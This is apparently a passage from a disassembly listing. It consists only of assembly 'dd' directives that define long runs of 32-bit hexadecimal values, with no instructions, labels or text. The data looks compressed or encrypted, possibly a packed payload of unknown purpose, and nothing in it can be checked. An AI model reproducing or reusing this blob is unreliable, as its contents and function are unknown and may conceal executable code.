0F3A05A06h, 0DCB9E5CFh, 0ED913113h, 0E82FC630h dd 99BEE57Ah, 0B93520F1h, 0B6FA489Dh, 1D1A92ECh, 0E2248BEh dd 5EEFF531h, 84880637h, 0C51F0A4Bh, 21C699DFh, 0E8125DEAh dd 7B497EB1h, 0FED39252h, 7D254F7h, 62D29D5Ah, 3433D430h dd 0FA42A4E5h, 0D155C64Dh, 0F5180A2Bh, 0BD156741h, 1A0BC757h dd 84F7FB68h, 6EED4D28h, 0F1D35A76h, 0B32C6B66h, 9F5D412Eh dd 0BF49C56Ch, 58315E31h, 5E5B4FE0h, 1309E0D3h, 0F9E37F64h dd 0CA20C440h, 5EA813E4h, 799741A4h, 2146B975h, 0B6F1F4F9h dd 953CBD9Bh, 13822FCh, 3DED6853h, 0F63878D5h, 2A131139h dd 6F5FA187h, 77212080h, 20BCB81Ch, 2D04DD59h, 235E31Dh dd 61932487h, 7074765Bh, 0FC135D68h, 0E9130F90h, 4F1AB81Dh dd 38F329AAh, 0E3BFE408h, 2A0712ACh, 6D070CB9h, 0B3226241h dd 1602280Eh, 0CD46D768h, 0F15CE01Eh, 956432B1h, 0D47C20B6h dd 4703B801h, 58707AE0h, 56550289h, 12F6E965h, 756B6854h dd 0D2B4EE9Eh, 5A2AE978h, 59D3F70Dh, 52F85BCEh, 3AB599E4h dd 8110888Bh, 74E1076Ch, 0E9E21EFFh, 5CACA475h, 74752A4h dd 0D8518624h, 6857302Dh, 11500D16h, 0A5ED48Bh, 5E76639h dd 0A23F10C6h, 2845B350h, 5A4F0B35h, 0E7A53585h, 2A1D30h dd 2D658440h, 3CB523FAh, 7242968h, 0C612F72Ch, 68652CFBh dd 0C6032527h, 0B813278Ch, 7CE5B820h, 811A1E45h, 540DE1EFh dd 14DD2743h, 80035AB8h, 7BF0BE7Eh, 0BD588B01h, 69293DB2h dd 0EB5E1130h, 8926B83Fh, 26F77481h, 13A548D2h, 1E8FC78h dd 0D91B33BFh, 0C47B4F5Dh, 24FCF0DBh, 3C792C05h, 0ECE9BAE9h dd 41BEEB02h, 0E077600Ch, 1E2B74FBh, 25E905F3h, 112D43D4h dd 0B2351D57h, 0C398E36Eh, 5E5ED0E9h, 2F53EC16h, 16A75C01h dd 3B00E151h, 0E4A597A9h, 164C529Dh, 70C6853Ch, 8B9687B8h dd 80532EA1h, 0E788A200h, 9EF7C1E9h, 0F6C588FEh, 0E6BAE025h dd 76587528h, 59CB80Ah, 0E9A7C17Fh, 25B1E8D1h, 9695EADh dd 0F21A52E6h, 84FE7AE8h, 0C52DA4BAh, 0CFCCF001h, 0F52B0506h dd 22204350h, 41683888h, 0E6259FC9h, 70BDD050h, 0B90AA014h dd 15AC275Eh, 68C07FFEh, 0E074E50h, 0D505E960h, 65D9FB12h dd 0E89E83Fh, 6F051974h, 0E66CC968h, 0CFAFBB0h, 292E4926h dd 3A1294ABh, 9F6889B1h, 8E09E9A7h, 2CFB6CAAh, 4C54E5A2h dd 70D05DFEh, 0A5F749ABh, 0DACAFB59h, 1839EE02h, 98841A11h dd 10F6F3D8h, 8813680Ah, 793291EEh, 0C58F8085h, 253E6856h dd 0ED145B5Ah, 0A0ED8078h, 3A0FC51Fh, 3CD771E9h, 480DF102h dd 1B5C66CAh, 117F4300h, 0D88B84E9h, 4A015023h, 58057C02h dd 0EC27BD68h, 2C6D7C9Dh, 0BF6033Fh, 0BA5D1ED8h, 0B807F4Ah dd 57BA6806h, 0F27533BDh, 342D0076h, 22009126h, 0D305D0F7h dd 1BD815BDh, 895B5AE9h, 8F079AB0h, 846BE09Fh, 7A95258Eh dd 18207552h, 0EB2117DAh, 47D91E5Dh, 6F75383Bh, 1391520h dd 110E2D25h, 0F330ED6Ah, 58075210h, 788C13E9h, 616938D2h dd 0FB3C1805h, 56643135h, 0C7241C43h, 0F417C26Ch, 9B4B80F2h dd 2C7E8A43h, 7989F700h, 0E9474E0Eh, 0B32B4ACCh, 0B64983Fh dd 62112E5Ah, 5A5D1091h, 0E7C91CAAh, 0D5F1E04Bh, 46283AD0h dd 0F11345A3h, 1DE92BEFh, 0A66F96A4h, 3E097318h, 805FF88Eh dd 5C0B6DD7h, 7ADBF732h, 3BC301D5h, 0EDE95DBCh, 0BA882B87h dd 0B728F251h, 1A0E1E89h, 64C48042h, 95CFE1h, 0B858C720h dd 9D3DF4B0h, 3BDA105h, 891D0DB1h, 0D137C4DFh, 2B5B542Bh dd 88770EF7h, 0FAFE2DEEh, 26126756h, 0DEA684D3h, 8930D998h dd 4D06FAF0h, 2106FF8Ch, 1459146Dh, 99586440h, 60FB0944h dd 3192C779h, 5551D181h, 0FFF2A6FDh, 0F364D1E6h, 0D6ACD368h dd 40588940h, 120968A6h, 31246F1Ah, 736331B7h, 19A550CCh dd 0B69D7692h, 0BCE392ACh, 0C205C2AEh, 58BA2D00h, 353B0282h dd 0F72A4E75h, 0EAC448D5h, 4ACD7DAEh, 6A72A159h, 0E05EAEF3h dd 5018F3FDh, 5C2C32F6h dd 0CA6D2E27h, 90E989E3h, 82BB4C60h, 9D0EFB12h, 39A44161h dd 21D0F601h, 14B82000h, 389F7165h, 3C8782A0h, 8B134BDAh dd 0D4CAA922h, 0DE921609h, 65AEF561h, 0CAEA85C3h, 0F541C984h dd 5C801A6Ah, 14AD6510h, 80E2C495h, 95744CD5h, 8CCA45F9h dd 9489107Bh, 13EE5AD3h, 3E9FBB52h, 0DD415025h, 0B962A683h dd 0F0279D1Bh, 5BD528C0h, 39CCC07Dh, 294ADD0Fh, 0E4608A81h dd 0BF77317Eh, 13D36FD7h, 1628F0C6h, 0F35B5F25h, 7B8750A6h dd 11E02018h, 69570B26h, 885FAE97h, 291F089Bh, 0E9C068AFh dd 955D98F7h, 73D1E01Bh, 73D32D5h, 26D008E1h, 3B4359B3h dd 662C823h, 6C7FF12Ch, 1341A1B7h, 0D881AE04h, 777F0F76h dd 12ADBEF2h, 281B4816h, 0EFC38660h, 5FC264B1h, 6917015Fh dd 34315735h, 22E488F5h, 2B2D1300h, 0E92CA220h, 3CCC600Bh dd 0AD59F2BFh, 0D968690Bh, 0E93B186Bh, 16F4BC93h, 50DDF4B8h dd 65E8D290h, 0CB6A0983h, 19D0F10Ch, 854B6706h, 80EA317Bh dd 0F2204D83h, 82ACA26Ah, 0E353DE67h, 0A05B9777h, 0D4EAF67Bh dd 0B0274E8Bh, 0E001D165h, 5CEF135h, 0B47B093Bh, 61230A0h dd 0C2AFA936h, 177C14E7h, 7582FF47h, 55226441h, 97309FB9h dd 25A1B4AAh, 45B724F8h, 0F3668074h, 0F831357Eh, 173FCD97h dd 7822A3F0h, 792F2725h, 0ADE9419Eh, 1B392B58h, 0A9FA32Bh dd 0EB72FD68h, 0A2EE18Ch, 0B22C5E31h, 0C2EF3454h, 3C6EE6BBh dd 0ABEC4A56h, 6ADCA5F4h, 0B540CE88h, 96570C62h, 9DFB9847h dd 2CA5190Eh, 6730AED6h, 4C2F7AB8h, 0FD5A453Ch, 2D3D5924h dd 0D1C62BFDh, 68590285h, 0D3DC61F2h, 0DE02B1CAh, 403E5830h dd 67065EEh, 0E2C1174Eh, 6490607h, 0D7A009FAh, 0BF3A702Bh dd 8F763E8Bh, 95264452h, 309B0670h, 4A434F17h, 202CEA80h dd 0E7051C06h, 885AD530h, 9CB72A0h, 0BA76820h, 4D201446h dd 0B4F778C3h, 997BD31h, 0C7E32C6Bh, 0FA7F9C05h, 9DFD57A7h dd 49EB484h, 30A9C368h, 32C8D327h, 7014C9F6h, 58A3D05h dd 168B0B06h, 4038108h, 0C34F2595h, 0A3E4BBECh, 0B75E104Ah dd 37EA3860h, 0BB046CCDh, 0C23C508Ch, 0FD3E3C0h, 29762E2Bh dd 0B608A02Dh, 5BFE0252h, 9BFD62F6h, 0A1260570h, 0E86C2856h dd 3C7C059Fh, 8AC6E97Eh, 0A595C26h, 2D2EEE06h, 0CE7F1669h dd 1096A82Fh, 4F6168DEh, 0AF353142h, 60F6DB3Ah, 2F207C01h dd 4F8F6813h, 29C5302Ah, 46086939h, 19BCE9h, 8058C128h dd 2C393AF1h, 0DCCE27D3h, 0FC763199h, 4C26AFCBh, 6BF10198h dd 87E967D5h, 0C3D781F8h, 11DA65B9h, 12CB943Eh, 189C0908h dd 0C82A1A30h, 1BF10D7h, 0FB0B9A11h, 2B6C316Ch, 31BA1813h dd 4EF7632h, 0A62B84C9h, 94D21509h, 0AB26508Bh, 0B15833A9h dd 0EC321A25h, 2F26B601h, 0FD59304h, 2F7B318Ah, 0F536C78h dd 103493BDh, 12AEC3B4h, 0E056A46Dh, 66E881ECh, 3AA9701Dh dd 5A938BBCh, 25D4FEEBh, 0C265DB79h, 0FF4E29ECh, 0F8EBB24Bh dd 5ACE39F9h, 0C09B02F6h, 0B3E903EEh, 0FE9D29D8h, 25AB78AAh dd 6ACE17C0h, 95475519h, 3050DE19h, 0D48AD36Eh, 4D9E9D9h dd 0E0A1CC2h, 46D3E2A6h, 7A54F63Fh, 0FE0B2EBCh, 0F2F8660Fh dd 87436077h, 3B9906F6h, 0BECEF89Dh, 207E25DBh, 24987E6Bh dd 6336006Fh, 0F6E9075Eh, 0D02FDFB4h, 2D5B0389h, 4C7C2BD3h dd 0EB49C9F2h, 26D72A89h, 98FE8FB4h, 21287F7Bh, 1CB41201h dd 3BBF5700h, 977A484Ah, 0B8A47DDCh, 1EE6D212h, 0ED6B9112h dd 868A042h, 4B1ABF30h, 5D167E44h, 0D4BEEA01h, 337DAB80h dd 7DE4AC02h, 0CCC56B44h, 8B3A131h, 0B2189F58h, 5DF1430Ch dd 3C575F04h, 79BCE1C1h, 6363507h, 8CF9E46h, 915B423Fh dd 0E05F6539h, 82F270B1h, 0C8804558h, 1BE45B8Bh, 0BA050B90h dd 46564D73h, 880FE85h, 0E64CC89Ch, 806CB731h, 0F955AEB0h dd 0B1A67E95h, 1578FF8Bh, 6710BA07h, 96A21E8Ch, 0CC0E4D6h dd 1CB60622h, 5A7ED87Ch, 0BB536901h, 79E32A26h, 7D58ED3Fh dd 0F218CB12h, 8F05AEF9h, 0FA50C05Fh, 44C57597h, 4F5E0C23h dd 0BE38981Bh, 0E44AFA06h, 71392938h, 0BD969F5Eh, 1CB74076h dd 5F5DB09Eh, 15178A9Bh, 84E727DBh, 0F117D7ACh, 7DD680E3h dd 29F18D59h, 0D462CBDEh, 4B95C2FBh, 74A0768Eh, 8808776Fh dd 0C8540173h, 0FF5A160Ch, 274E1B70h, 0D7716006h, 11CAEE9h dd 0F61758B3h, 0F9D713A9h, 54CD054Bh, 8701025Fh, 40383BC5h dd 0C67CA23Bh, 97BF44E9h, 621C9B5Ch, 5D486645h, 8F8E38F9h dd 8172FBD3h, 9F45445h, 0B3895750h, 69699D8h, 0BA46E9D0h dd 0EC800001h, 58E730B6h, 9798D7F6h, 4BD45352h, 5F2B05F5h dd 9E20FDA3h, 2FC0E495h, 0DD56679Fh, 9BDEF378h, 5456091Dh dd 57537A30h, 0A745683Ah, 9F716021h, 0C7308019h, 5E3D5CB1h dd 0E67E27B1h, 11367CEAh, 798AE99Dh, 0E542C56h, 69ABC1CFh dd 0B8EAEBBEh, 999423F8h, 312A6D88h, 3AECD874h, 1151B3D1h dd 0D3D9E804h, 3C439841h, 62EB494Ch, 87B66E42h, 55EC29F2h dd 17ACEF5Ah, 95102A7Dh, 675C9DBAh, 64424C93h, 9004CD68h dd 24033B53h, 17EF3D22h, 0F79F401Ah, 4016290Bh, 4597F8F0h dd 8E7A3CFh, 0D1092EBCh, 363A01EDh, 4021F24Bh, 4C7C33E0h dd 587D43B3h, 71728F5h, 7904BA97h, 61C2DF89h, 8E7234Bh dd 38318CC1h, 4231F498h, 0CF6A02C2h, 31EB4B92h, 0D0763Eh dd 0F0F70159h, 0F9BE48D6h, 42B301A4h, 30218E32h, 6813A2B4h dd 0C313206Eh, 9DEFAF25h, 0E13AF448h, 0CABE10D2h, 0C145CB06h dd 0DE834B23h, 0D5E461BFh, 6E54FDE1h, 8B9DD0B3h, 0E35902C1h dd 3528E985h, 0DE4CF095h, 288DF07h, 0A9B159EFh, 9AECF930h dd 4503F5B0h, 0F608E1C0h, 0A0C1C0D9h, 0F48A20E9h, 69B05000h dd 0BC0C7104h, 0C592D652h, 0CF500CE9h, 4459CAFDh, 0FA00D29Dh dd 41356385h, 0EE4BD1h, 143B5D7Ah, 404EE5E9h, 57D4A6FDh dd 26B5804h, 0A4C0FA52h, 589DED3Dh, 0B97AFEDBh, 0D06492ECh dd 0D7253101h, 0CF012805h, 803BD55h, 45DEF29h, 9D44FB12h dd 2234127Bh, 0C52F83BBh, 0BC67BFBCh, 0FFD5ECA2h, 575E72B8h dd 2AE7EFFEh, 33558501h, 107F5064h, 292F07C9h, 5B4858F8h dd 174CDE4Ch, 7F2010C7h, 0E31949EAh, 0C57C5C27h, 0E6D7F4Fh dd 0CF2FA5B2h, 3093CFEFh, 9DBE1D21h, 408D1760h, 3EF60246h dd 1861F24Dh, 6F007E6Fh, 0C7FEDFF6h, 0CB43E50h, 5DC29125h dd 5EF34ED5h, 0E8529002h, 0BA0A5253h, 9D6A3D60h, 0F6930BBAh dd 0EE0AD799h, 97D31595h, 16A1DA26h, 0F6602262h, 0FF51AB57h dd 26C86D29h, 2A303C25h, 2FBA0C45h, 0D0145BBCh, 0AF21EA87h dd 4AF1665Ah, 0A4B20704h, 45A96882h, 20AE4DDFh, 14B84DBBh dd 8264C04Ch, 71388703h, 2BAAD5CEh, 7E508580h, 0C5EABD75h dd 0DCC0080Dh, 9133729Ah, 0A1560C55h, 947F3911h, 6808028Ch dd 985D4471h, 12E290Dh, 0C583415Ah, 2BF74DFFh, 4D9DA2E0h dd 29507B32h, 1162DEBh, 0B509BA72h, 0EDC0CDh, 0E9EEB273h dd 0F3F84D67h, 0E514DE48h, 7E601ED8h, 90F05924h, 0E60190B9h dd 62891083h, 0D9D0E8A5h, 77BE8416h, 5A3145EAh, 0A1AAB8B6h dd 30F8D821h, 0BA33B510h, 207637DAh, 3410762h, 0B5B9D0F7h dd 4B512D18h, 758100BAh, 0BF13C87Bh, 8D362904h, 81FA316Fh dd 35CD0423h, 0B8813B3Fh, 108F21DDh, 8FCBF828h, 421D3654h dd 2C146799h, 0EE3AD6D3h, 0FE87D26Fh, 8F09704h, 5CFF22AAh dd 25B32F7h, 279E2B2h dd 0FBF6348Ah, 0EE30A667h, 0DCF1289Ch, 5E012884h, 0BC2485C8h dd 68AD056Dh, 0D3AC241Ah, 360B90C0h, 2CC72943h, 0C2CED305h dd 0F6B1E913h, 0E1CE3DF7h, 0C2BA61DBh, 425DF3D8h, 5AFC4EFFh dd 1DA901A5h, 0CC1FA84Ah, 145BE942h, 9941E0BDh, 0A9605B21h dd 4E063D10h, 0AF72A063h, 0AFCE3F3Bh, 0C1350123h, 32B04E3h dd 0A93652BDh, 0D829EAB1h, 7A9D1644h, 4A088271h, 0BACFFDF0h dd 0CE905725h, 8982CCF4h, 333C7FADh, 0C9EF71B7h, 0C6E23A74h dd 302D0045h, 6858BE52h, 38FF4FAFh, 774BF3C5h, 9C57CCCCh dd 2DEA4E23h, 0AE128B15h, 0B3E86E8h, 71AC4B7h, 0AB0675B8h dd 1B7AD671h, 570F2E98h, 642A0929h, 9AAE1FD1h, 56E521Eh dd 47762526h, 0F01A4C90h, 16BF7B68h, 0DDE860Bh, 413A1579h dd 3FAAA35Ah, 41F06ACCh, 7C842F4Bh, 0C7A05AC2h, 4A76BFDDh dd 0BF8C40A8h, 667F2A4Ch, 1268B80Eh, 0D1EC37EFh, 0D29C05Ah dd 542D36AEh, 92C6FC7Bh, 0BAC981B5h, 81D7782Ch, 7D9A76D0h dd 181D0D20h, 1808587Bh, 9D2E1FF8h, 314C741h, 7661818Dh dd 46EC0F28h, 0F86BE1CFh, 9FE9F052h, 0E517C0E1h, 31917510h dd 74CD872Dh, 40CB121Ah, 6C4CBBDEh, 57905144h, 0AD54D8B0h dd 0BC9654C5h, 66F30452h, 0A7AA17AEh, 68CFC407h, 86DE5909h dd 950BDC2h, 93DA7E82h, 439C5F09h, 50775495h, 10DD7D05h dd 0AC6E5801h, 50D69743h, 0ADE09D71h, 41BCFB01h, 0A351557Ah dd 0CBF8FE4Bh, 78098101h, 0E9EF2033h, 0F3D4C12Dh, 25682DE9h dd 6E7B5EEDh, 2A3910BFh, 52AABC6h, 4247584Ah, 0E6A58030h dd 0F59FC64h, 0D6E91775h, 0BE687E81h, 0BD24492Fh, 53F15DC8h dd 0A26D5A09h, 976C8801h, 2DF90508h, 0F38854FCh, 45B126CAh dd 1695E8D9h, 50FCF1E1h, 6C6E62D9h, 0AB71C4D9h, 8A188114h dd 13F37584h, 8AB1382Eh, 5C06A909h, 0B6BE5019h, 61584972h dd 0F7060CDBh, 0BA08D0DEh, 99C63D1Eh, 297DB285h, 4E0BCBF0h dd 60B72EABh, 436851A6h, 2C5F2D1Eh, 0FCB91525h, 2FF34C0Fh dd 9F65F158h, 0E090D654h, 7BB55D3Bh, 0BD688409h, 1090E311h dd 834C4958h, 74D9B84Eh, 2E7C113h, 75D02907h, 0F9C43AB4h dd 0A82ECC99h, 0B3BEB5DEh, 95922221h, 0F9B5ADCCh, 5ABC0CDCh dd 0FD25882Ah, 33F20F5Bh, 0F0C24F92h, 0C1EA9E7Eh, 89603968h dd 68517061h, 5CD101DAh, 405EA5E0h, 15CFEF52h, 0BCDE4A7Bh dd 5A08C714h, 697AC899h, 17916A40h, 0D83BBDF3h, 3ABF293Ah dd 79AAC4C7h, 0B745E019h, 0AF940F70h, 2E5C184h, 0DE0191BAh dd 0FE97483Ch, 60B55312h, 9D0493BCh, 0C588B4D4h, 0DA8A0427h dd 750EE45h, 6A555008h, 0CE938260h, 0F43DA71Eh, 0C99EFAh dd 4589CA81h, 3F6361Dh, 6082E56Ch, 0DFBD0455h, 0EE5F9A0Ch dd 4C996CA0h, 0D3A65ACEh, 0C1C0479Eh, 907A0F1Bh, 1FF1A077h dd 0AC3AE1FFh, 233F22Fh, 887873E9h, 2E6CBA05h, 3A002CBh dd 0C27ABE08h, 5F059F4Fh, 7D800909h, 9E689368h, 26F61C1Fh dd 13DB810Eh, 6893D8EBh, 7F7CA969h, 583F28EEh, 665AAD55h dd 78BA003Ch, 0E9112D02h, 1AC0E2CAh, 1870B1BDh, 595B9D07h dd 0E50110ACh, 77AB65F4h, 5848CE40h, 0F73E13EAh, 0A7F8A8DDh dd 0B7EE7BBBh, 2771B034h, 0EF480129h, 2E388472h, 36D1BE13h dd 7B805944h, 6FB951EAh, 100E4121h, 0DF55C981h, 0FDF16BD7h dd 0E4D98E7h, 93184C15h, 0C04F2A04h, 3FAFE8C6h, 13F2975Dh dd 270E38ADh, 12FE4314h, 0BF8035DDh, 5BC4348Ch, 0AC1628E8h dd 0B9380343h, 0AC4F0238h, 9DAAD311h, 96B26377h, 0A473DBEh dd 33E9049Eh, 0D6B80109h, 53708689h, 622ABB00h, 0D921133Eh dd 0EDF4C15Bh, 6A617E75h, 0EA0506F2h, 0E873E55Eh, 0D025787Ah dd 0B56764C0h, 0BAADD153h, 5153556Dh, 6007D9CBh, 55294F63h dd 5E3BAF90h, 17C873Ah, 0D829E9EEh, 0A05C654Fh, 0A7DC1A04h dd 651D6540h, 4AD85CC1h, 18816E67h, 10130558h, 3E09D951h dd 0DCA9AD87h, 8B1C2CBh, 67F5EBA0h, 395B0B45h, 3AC760E4h dd 2D896518h, 0A921A6E9h, 0E050C330h, 0FDB15CEFh, 1CBD5A4h dd 0F6713DB3h, 886BB547h, 0E90508C1h, 23A4415Eh, 742524B1h dd 3F47833Eh, 0A4A97304h, 765C3E79h, 1877484h, 0CBBFEF85h dd 39AE4E57h, 273076D7h, 7786420Bh, 20AEDC60h, 302FC139h dd 97CF7CEFh, 9A285029h, 2D9318F7h, 9EED0CBFh, 1513113h dd 6E856C56h, 30D2F7BEh, 0D828B1D2h, 251C792Ch, 0B752CA11h dd 0AD5EF23Ch, 688E8746h, 41842911h, 73BCD9FBh, 0EDC12885h dd 0D2C10107h, 8246F21Dh, 57A4BE7Eh, 40E5E30h, 8AAAE9h dd 0B1515266h, 0E3B212CAh, 17D01C28h, 0C60CBAD0h, 0E804880Eh dd 0B2520951h, 55FFE27h, 0C1FF290Ch, 3AE353D9h, 0CEE5F30h dd 0B429401h, 719BFA3Bh, 47D43FF2h, 74CDB00Bh, 0ACFE423Ah dd 0F188C20Eh, 2493755Ah, 2AC655F1h, 523F31E2h, 1C995D19h dd 87B86E5Ah, 7D9DF603h, 7E20471Ch, 0AC665B05h, 6838D882h dd 0B3BB8080h, 454C1B72h, 56E2023Dh, 77317246h, 0ED952850h dd 41FF288Ch, 51B63314h, 7339EC47h, 0B4E9180Bh, 0CF7A79CDh dd 0EA1C32C4h, 8D87241h, 0D2436C30h, 10D13DCh, 0B636AFEBh dd 5768168Fh, 0C3B7AC65h, 92C6CE9h, 19E1ED7Dh, 0C4AE1309h dd 0F55B0854h, 77B54377h, 9BF8B4Ah, 0F9CC6AACh, 0F6E38816h dd 0AB6A12FFh, 95B36A03h, 0E961BF08h, 0DC2A8BDDh, 0F84A0159h dd 315B51F7h, 2E90804Dh, 5B0D4231h, 57D6BA00h, 31266D04h dd 84C45AD1h, 0C8D81205h, 8E49F552h, 0E1054941h, 2870E90h dd 107CF5BFh, 3F3B7E34h, 3A93C5BFh, 0B531AFF3h, 8C310D49h dd 0E722D9FDh, 0E02F00D2h, 297A6222h, 58040195h, 8D2A4C01h dd 0E9110141h, 9A86C79h, 4634E668h, 1D26204Fh, 86B15B4Fh dd 0DC4AB32Fh, 9002378Bh, 2F63CE80h, 84807E1Eh, 0EDB5DADh dd 8E061B7h, 3C51E20h, 0E9279D50h, 3902D5CEh, 0E629D8E2h dd 80A75E06h, 214EC4F2h, 9D20E925h, 215C4CF1h, 94F5DB25h dd 5A8EB654h, 4A51A75h, 800399D4h, 27C10BEEh, 0F8276BCDh dd 0FC0E8882h, 256BEF2Dh, 0B214F8E2h, 0F919A60Bh, 0E9EF8109h dd 27833A22h, 764CBEF5h, 0C912C2FDh, 39C146F5h, 2E7C5352h dd 8F7C8D1Fh, 825255B9h, 8E40F55Ah, 3A943FD0h, 1BFA6307h dd 4B71CDC0h, 5D50B7BAh, 0BB4FF902h, 85F5315Fh, 28EACED2h dd 5A40474Eh, 33BB0353h, 1772E69h, 608FA811h, 0CB41C31Ch dd 0DD04BA23h, 4D44EAABh, 1D1F7B57h, 0DF88F6Fh, 0BA665944h dd 257797CCh, 0F5F85560h, 9F572540h, 0DADE848h, 14173B24h dd 0E475902h, 0A5A1E07Ch, 60D3047Bh, 91DAAEE9h, 38616339h dd 3365C6ACh, 99BF074Fh, 6C61E732h, 3187375h, 0B1A40EF9h dd 2F5881ACh, 0C6CDA8A1h, 0A23605DBh, 0BAFCA9E1h, 0F3C21C90h dd 1EDF2741h, 0EA14DB74h, 6BC25508h, 0B0E8980Bh, 17F4BBC8h dd 0FE232679h, 55D4A70h, 6B6202ADh, 0EC2686Ah, 48191877h dd 36EC202Ch, 5D79E2B7h, 22C67B9h, 0AA12D5E5h, 3995D85Fh dd 0EE069FF2h, 0E4D101FEh, 76F9E120h, 12104BC3h, 2C9F868h dd 0EB80E328h, 7F31C20Ah, 0A0449D59h, 50DEBCh, 35181D0Fh dd 0DC25BE65h, 7D0E58C4h, 0C03B304Ah, 0D314E4EFh, 9BE91777h dd 2472BB0Bh, 0C2FD10D2h, 5BCC7E9Dh, 0A7A02BF2h, 9C595FBEh dd 1FE89D59h, 2FD7EA29h, 95801F84h, 0B0B551D8h, 508C27EAh dd 105387Bh, 1DD95BDAh, 0C68AE47h, 3BC619B4h, 0DE9D889Ah dd 2B962CEh, 25F2F071h dd 4E83EFF6h, 0E97A0B5Fh, 50A5D91Eh, 0E2B201C3h, 7A2D6866h dd 0DAB47D21h, 824E1670h, 0E224E17Fh, 0A8EA99D3h, 0ECBFC47Fh dd 4268C2C1h, 80E45176h, 4FC05B8Ah, 160CF181h, 0AE7A3421h dd 0C97B26B8h, 0CDE109A8h, 0CA751B77h, 3809D7C0h, 5C701C7Fh dd 0E2329056h, 18419634h, 0A1282C8Dh, 0C40437ECh, 13BAF847h dd 38ABEE83h, 0B74AE9E4h, 57597602h, 6709C8F7h, 0C659C0EFh dd 15807A4Fh, 0E8E6C137h, 95DDBF2h, 0AB8F16E2h, 338F185Fh dd 3F1FDFEBh, 0D35F634Eh, 0FA96624Bh, 2F7C3A4Dh, 3FBFBC5Bh dd 9242D35h, 793D7E4Bh, 0C193B51h, 90415EF0h, 4074B12Ah dd 17321268h, 0F646A1DDh, 690E5A63h, 92734EBAh, 0BF0293F0h dd 7A5F6186h, 581CEF67h, 3031D6FBh, 579AF714h, 0F1D7D1FFh dd 35FFF183h, 8D987A74h, 0FB5B4BDFh, 0BFD1FC31h, 0D5F71C81h dd 7107E5C1h, 2D4C6CF6h, 502DF45Bh, 352ED2E6h, 0EE00DB1Eh dd 0B49CCE22h, 66240B2Dh, 705C1682h, 670CA409h, 0E133F85h dd 4ECFB7E8h, 0FB4AC7ACh, 12EFB012h, 32D10095h, 4123DA47h dd 0F892E92Dh, 535B97C6h, 3873F869h, 0EF4B6014h, 4562B33Dh dd 8F4752D2h, 1283203Bh, 0E6522768h, 5E44800h, 0FAE0D47h dd 6094F1BEh, 0FD09CF09h, 0A261502Eh, 0D8C51260h, 517809BBh dd 2D5CD81Fh, 0FAC4FC2Fh, 99B5966Ch, 0E32F011Fh, 1C87849Ch dd 0FB4F74FBh, 4FA405B0h, 0B86E3045h, 71687F07h, 0D263F284h dd 6801C083h, 0CC2C4A96h, 647ECF04h, 939074B8h, 88F1072Eh dd 625E7D40h, 9BE0B73Fh, 6925E093h, 0E72D78F3h, 0C77529D6h dd 0C680453h, 975AEB3Fh, 0BB13400Bh, 0F7EDCFA5h, 23FD94A9h dd 0F95B52E3h, 1E89DD9Fh, 16DDCF29h, 0EED39DA9h, 45E02713h dd 2DF80301h, 53677D88h, 253469A8h, 0BD552200h, 7FF237A6h dd 0AFC50981h, 5082ADE7h, 4CDFFBB0h, 4DE8F489h, 8650549Ch dd 5F782494h, 91202E7h, 0EA7943DDh, 1C45BE81h, 853E908Ah dd 3F5F1C5Eh, 29263D84h, 2D084FEh, 0A3E2E908h, 68671354h dd 0BB93E54h, 14EC97h, 351AB65Eh, 17026E6Ch, 8296E967h dd 0DD745463h, 76A28645h, 1986A84Ah, 0D8C9B40Bh, 0B1E8D5EDh dd 8A889778h, 0F8281794h, 83C0B435h, 0F9C76826h, 0B700AD23h dd 0E9272CD1h, 7CC2C442h, 4005E2C1h, 27D9FE29h, 52E0A48Ch dd 21B53EE9h, 1DB3ED3Eh, 0B8F328DDh, 2730E0EBh, 5FFC3BE8h dd 5D0508A0h, 487F6852h, 0C128036h, 357A1A47h, 1F943156h dd 0AD375925h, 45414930h, 0BC6D1628h, 6C307A01h, 75FBE910h dd 71EF8F87h, 0AB2AD579h, 80449F1h, 0E89B21AFh, 59DE93BEh dd 3047CABAh, 0CA801FC8h, 96BAF0EFh, 72680091h, 5832C508h dd 16E1255Ch, 0C1AE5F17h, 6FEB9B1Ah, 994B40D4h, 2DBB56C8h dd 3F2D1770h, 51107CD5h, 40DF6C74h, 6CB9CD6h, 877604F2h dd 1FEFD598h, 0CD223744h, 7E9745Ah, 0AC457090h, 0DE985E70h dd 0ADE90780h, 970DE6BFh, 2ACA12D9h, 0EC107342h, 4CF80B11h dd 0A521694Ah, 508DE6E9h, 7A0FE139h, 285D4E3Ch, 5B4007EDh dd 488D908Fh, 0C207B821h, 0C0401E18h, 4D3DF0E5h, 74E9493Bh dd 46C34DC0h, 0F6FA0E8Bh, 41784BFEh, 83268719h, 56063Dh dd 0A454BF30h, 295A5879h, 32205F2Fh, 0C227D4E4h, 9071E431h dd 17208E9Dh, 9855685Dh, 0E025F06h, 0A6E9422Ch, 5B1BA4BDh dd 2DAB3C94h, 0D43517EEh, 805609DFh, 56CFA36h, 53AD62Eh dd 8A35623Eh, 9C512F6Eh, 4B12B725h, 0E87D5955h, 79DD02AAh dd 6A773513h, 1080B80h, 5B596843h, 66F3336Ah, 2B1E7FE9h dd 0E23AE429h, 0F9A90CF1h, 5FA6CEF3h, 7A7AE6D3h, 0C9C2CD4Bh dd 0F0FBF65Bh, 626B0CE9h, 0F000D7D7h, 1D3D3F2Bh, 0EB5DF4FAh dd 2FD65D95h, 7B1C5F7Bh, 95A158BFh, 3020E834h, 29BD0423h dd 0E02F0C7Dh, 4B14165Dh, 4B06392h, 6F28688Ch, 6C6B81ABh dd 0A8872F4Dh, 3D9457B9h, 0DAEA812Dh, 0E60CC0B9h, 112D253h dd 5CE9CA16h, 844722E1h, 0FF7D3472h, 3D8F39A3h, 99EB9F00h dd 686BB610h, 0C199BC30h, 70734CA3h, 5402C309h, 0E9453344h dd 9D73F018h, 0E075EA92h, 8C7C4DDEh, 0D281E913h, 466736C0h dd 2A30F53Ah, 104D182Ah, 4FD9B071h, 0E977D10Bh, 5AF260A0h dd 1CD42D68h, 7A7267FEh, 45E9252Dh, 21806389h, 9437C168h dd 3231589Fh, 0EDDD8ABFh, 6B442F5Dh, 68632088h, 7A4F18B4h dd 9E3324Ah, 4FD45C14h, 7DFAFC89h, 7A649A99h, 2BAEF417h dd 31AA4B3Eh, 3A5FFD0Dh, 0F58B8C98h, 250EA36Bh, 99CC1EFh dd 0FB646Bh, 0C8022B92h, 82970122h, 93F4969h, 0F9B49784h dd 600B0747h, 4DA26A3Ch, 62F7FCC4h, 0C347C9DAh, 0FD12DBFh dd 0DEA7DE1Bh, 6A35D3C7h, 0CAFB2AEFh, 1B257D59h, 3AE4E63Ch dd 21B7C8Ah, 